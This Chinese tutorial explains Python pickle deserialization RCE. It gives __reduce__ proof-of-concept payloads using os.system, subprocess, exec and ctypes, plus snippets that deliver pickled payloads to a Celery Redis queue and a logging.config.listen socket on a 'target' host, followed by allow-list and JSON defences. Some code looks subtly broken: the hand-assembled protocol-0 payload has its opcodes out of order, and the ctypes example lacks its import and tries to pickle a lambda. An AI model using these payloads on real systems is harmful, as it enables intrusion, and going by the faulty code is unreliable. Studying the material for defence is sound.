一、pickle 是什么
pickle 是 Python 标准库的对象序列化模块。和 JSON 不同,pickle 可以序列化几乎所有 Python 对象。
import pickle
data = {"name": "admin", "roles": ["root", "sudo"]}
s = pickle.dumps(data)
r = pickle.loads(s)
# pickle 输出是二进制,前两个字节是协议版本:\x80\x04
Python 官方文档第一行就是警告:"Never unpickle data that comes from an untrusted source."
二、reduce 与 RCE 原理
所有 pickle 攻击的核心都是 __reduce__ 方法。反序列化时,pickle 协议看到 REDUCE opcode 就会执行:
result = callable(*args)
如果 callable 是 os.system 而 args 是 ("touch /tmp/pwned",),那就直接代码执行了。
最简 PoC
import os, pickle
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/pickle_rce",))
evil_bytes = pickle.dumps(Exploit())
pickle.loads(evil_bytes) # 执行命令
reduce 返回值完整格式
| 返回值 | 行为 |
|---|---|
(callable, args) |
执行 callable(*args) 返回 object |
(callable, args, state) |
先 callable,后 object.__setstate__(state) |
(callable, args, state, iter) |
额外 object.extend(iter) |
(callable, args, state, iter, dict_iter) |
额外 object.update(dict_iter) |
三、协议字节码
3.1 pickletools 反汇编
python3 -c "import pickle, os; print(pickle.dumps([os.system,('id',)]))" | python3 -m pickletools
协议 0(ASCII 格式)最容易读懂:
(cposix
system
(S'id'
tR.
| Opcode | 含义 |
|---|---|
c |
GLOBAL:加载 module.name |
( |
开始构建 tuple |
S |
推入 string |
t |
结束 tuple |
R |
REDUCE:执行 callable(*args) |
. |
STOP |
协议 4(Python 3.8+)更紧凑但原理相同。
四、构造恶意 Payload
方法一:直接手工拼字节码
import pickle, pickletools, base64
def build_rce(cmd):
payload = f"(\nS'{cmd}'\ncposix\nsystem\ntR.\n"
return payload.encode()
p = build_rce("touch /tmp/pickle_pwned")
pickle.loads(p) # 触发
pickletools.dis(p) # 调试
方法二:利用 subprocess.Popen
import pickle, subprocess, os
class EvilPopen:
def __reduce__(self):
return (subprocess.Popen,
(["/bin/sh", "-c", "touch /tmp/subprocess_rce"],))
evil_bytes = pickle.dumps(EvilPopen())
pickle.loads(evil_bytes)
subprocess.Popen 的 __reduce__ 是可序列化的,且 subprocess 在所有 Python 环境都存在。
方法三:利用 code.InteractiveConsole
import pickle
class EvilCode:
def __reduce__(self):
code = (
"import os\n"
"os.system('touch /tmp/code_rce')\n"
)
return (exec, (code,))
方法四:ctypes CDLL
class EvilCtypes:
def __reduce__(self):
return (
ctypes.CDLL,
("libc.so.6",),
None, None, None,
{
'__setstate__': lambda s: getattr(ctypes.CDLL("libc.so.6"), "system")("touch /tmp/ctypes_rce")
}
)
五、pickletools 反汇编调试
在实战中,用 pickletools 分析未知 payload:
import pickletools, sys
with open('payload.bin','rb') as f:
pickletools.dis(f)
如果看到 c(GLOBAL)加载危险模块如 os、subprocess,或 s(STACK_GLOBAL)+ R(REDUCE)组合,基本就是 RCE payload。
六、现代框架实战
Celery 默认配置
import redis, pickle, os
class Evil:
def __reduce__(self):
return (os.system, ("touch /tmp/celery_pwned",))
r = redis.Redis(host="target", port=6379)
r.lpush("celery", pickle.dumps(Evil(), protocol=4))
# Celery worker 默认用 pickle 反序列化任务
Python logging.config.listen
# TCP 端口接收 pickle 序列化的日志配置
import socket, pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/logging_rce",))
s = socket.socket()
s.connect(("target", 9999)) # logging.config.listen 默认端口
s.sendall(pickle.dumps(Exploit(), protocol=4))
s.close()
Django / Flask 某些老版本 session
# 如果 Django SESSION_SERIALIZER = django.contrib.sessions.serializers.PickleSerializer
七、防御方案
7.1 自定义 SafeUnpickler
import pickle, io
class SafeUnpickler(pickle.Unpickler):
ALLOWED = {
'builtins': {'list', 'dict', 'int', 'str', 'float', 'set', 'tuple', 'bool', 'bytes'},
'datetime': {'datetime', 'date', 'time', 'timedelta'},
'decimal': {'Decimal'}
}
def find_class(self, module, name):
if module in self.ALLOWED and name in self.ALLOWED[module]:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"Blocked: {module}.{name}")
def safe_load(data):
return SafeUnpickler(io.BytesIO(data)).load()
7.2 全局禁用
import pickle
original_find_class = pickle.Unpickler.find_class
def safe_find_class(self, module, name):
raise pickle.UnpicklingError(f"Blocked by policy: {module}.{name}")
pickle.Unpickler.find_class = safe_find_class
7.3 用 JSON / msgpack / protobuf 替代
任何需要序列化的数据结构都应该用 JSON 或更安全的格式。
八、总结
pickle 反序列化攻击的核心模型是 __reduce__ → (callable, args)。和 Java/PHP 的魔术方法链不同,pickle 不需要构造 gadget 链——只要能控制 GLOBAL + REDUCE,就能直接调用目标 Python 环境里的任何函数。防御上唯一可靠的方案是根本不反序列化不可信数据,改用 JSON / msgpack / protobuf 等安全格式。
九、Django session pickle 风险
老版本 Django 支持 pickle session:
# settings.py(危险配置)
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
# 或 Redis + pickle
如果 Redis 或 cookie 被篡改,就能注入 pickle payload。新版本 Django 默认用 JSON。
十、为什么 pickle 特别危险
pickle 的设计目标是 完全复刻 Python 对象。这意味着它需要:
- 知道要加载哪个模块的哪个类(GLOBAL opcode)
- 知道如何构造这个类的实例(REDUCE opcode)
这两个能力组合起来就是 RCE——因为 os.system() 就是一个普通可序列化 callable。和 Java 反序列化不同,pickle 不需要额外的 gadget 链,因为 os.system 就是 pickle 协议天生能处理的。
十一、各语言反序列化危险等级
| 语言 | 序列化器 | 危险 | 说明 |
|---|---|---|---|
| Python | pickle | 🔴 极高 | REDUCE opcode 直接 RCE |
| Java | ObjectInputStream | 🔴 高 | 需要 gadget 链 |
| PHP | unserialize | 🔴 高 | 需要魔术方法链 |
| .NET | BinaryFormatter | 🔴 极高 | TypeConfuseDelegate 无依赖 |
| Ruby | Marshal | 🟠 中 | 需要特定 gadget |
| Node.js | node-serialize | 🔴 高 | _ 字段注入 |
| Go | gob | 🟢 安全 | 不支持自定义类型 |
| Rust | bincode / serde | 🟢 安全 | 不支持任意代码执行 |
十二、总结补充
pickle 是所有反序列化机制中最危险的——不需要 gadget 链就能直接 RCE。这是因为 pickle 协议设计时信任数据来源,REDUCE opcode 本意是让自定义类描述如何序列化/反序列化自己,但结果被用来直接执行 callable。防御上没有折中方案——pickle 只能用于内部可信数据,外部输入永远用 JSON / msgpack / protobuf。